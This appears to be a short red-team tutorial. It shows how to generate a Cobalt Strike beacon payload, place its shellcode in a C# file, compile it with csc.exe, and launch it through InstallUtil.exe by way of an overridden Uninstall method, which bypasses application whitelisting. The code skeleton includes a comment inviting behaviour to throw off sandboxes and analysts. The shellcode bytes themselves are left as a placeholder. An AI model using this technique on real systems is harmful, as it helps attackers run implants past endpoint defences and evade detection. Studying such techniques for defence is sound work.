Step One:
Generate Payload:
CobaltStrike TeamServer | Attacks | Packaages | Payload Generator
Step Two:
Copy Payload Into .cs file
Compile (Not this can be done in advance, from the TeamServer, more on this later)
All you need is to Deliver the Payload exe/dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x86 /out:bp.exe beaconPayload.cs
Step Three:
Invoke Via InstallUtil
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U bp.exe
public class Program
public static void Main()
Console.WriteLine("Hey There From Main()");
//Add any behaviour here to throw off sandbox execution/analysts :)
public class Sample : System.Configuration.Install.Installer
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
public class Shellcode
public static void Exec()
// Replace this Byte Array with Your Generatated Shellcode.
/* length: 528 bytes */
